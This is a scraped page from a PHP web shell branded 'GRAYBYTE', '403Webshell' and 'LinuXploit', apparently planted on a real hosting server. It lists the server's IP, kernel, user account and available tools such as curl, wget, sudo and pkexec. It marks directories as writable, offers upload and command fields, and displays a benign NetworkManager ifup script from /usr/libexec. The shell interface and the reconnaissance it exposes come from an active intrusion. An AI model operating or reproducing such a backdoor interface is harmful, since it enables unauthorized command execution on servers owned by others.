- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 3.149.251.22
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/libexec/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/libexec/nm-ifup
#!/bin/bash

CONFIG="$1"

if [ -z "${CONFIG}" ] ; then
    echo $"Usage: ifup <device name>" >&2
    exit 1
fi

usage_and_fail() {
    cat <<EOF >&2
$1!

See all profiles with \`nmcli connection\`.
Reload files from disk with \`nmcli connection reload\`
Activate the desired profile with \`nmcli connection up \"\$NAME\"\`
EOF
    exit 1
}

OLD_IFS="$IFS"

re='^/etc/sysconfig/network-scripts/ifcfg-[^/]+$'
for f in "/etc/sysconfig/network-scripts/ifcfg-$CONFIG" "/etc/sysconfig/network-scripts/$CONFIG" ; do
    [[ "$f" =~ $re ]] || continue
    [ -f "$f" ] || continue

    nmcli connection load "$f" \
    && nmcli connection up filename "$f" \
    && exit 0

    usage_and_fail "Failure to activate file \"$CONFIG\""
done

IFS=$'\n '
UUIDS=( $(nmcli -g connection.uuid connection show "$CONFIG" 2>/dev/null) )
IFS="$OLD_IFS"
if [ "${#UUIDS[@]}" -eq 1 ] ; then
    nmcli connection up uuid "${UUIDS[0]}" \
    && exit 0
    usage_and_fail "Failure to activate profile \"$CONFIG\" (uuid ${UUIDS[0]})"
fi

usage_and_fail "No suitable profile \"$CONFIG\" found"

Youez - 2016 - github.com/yon3zu
LinuXploit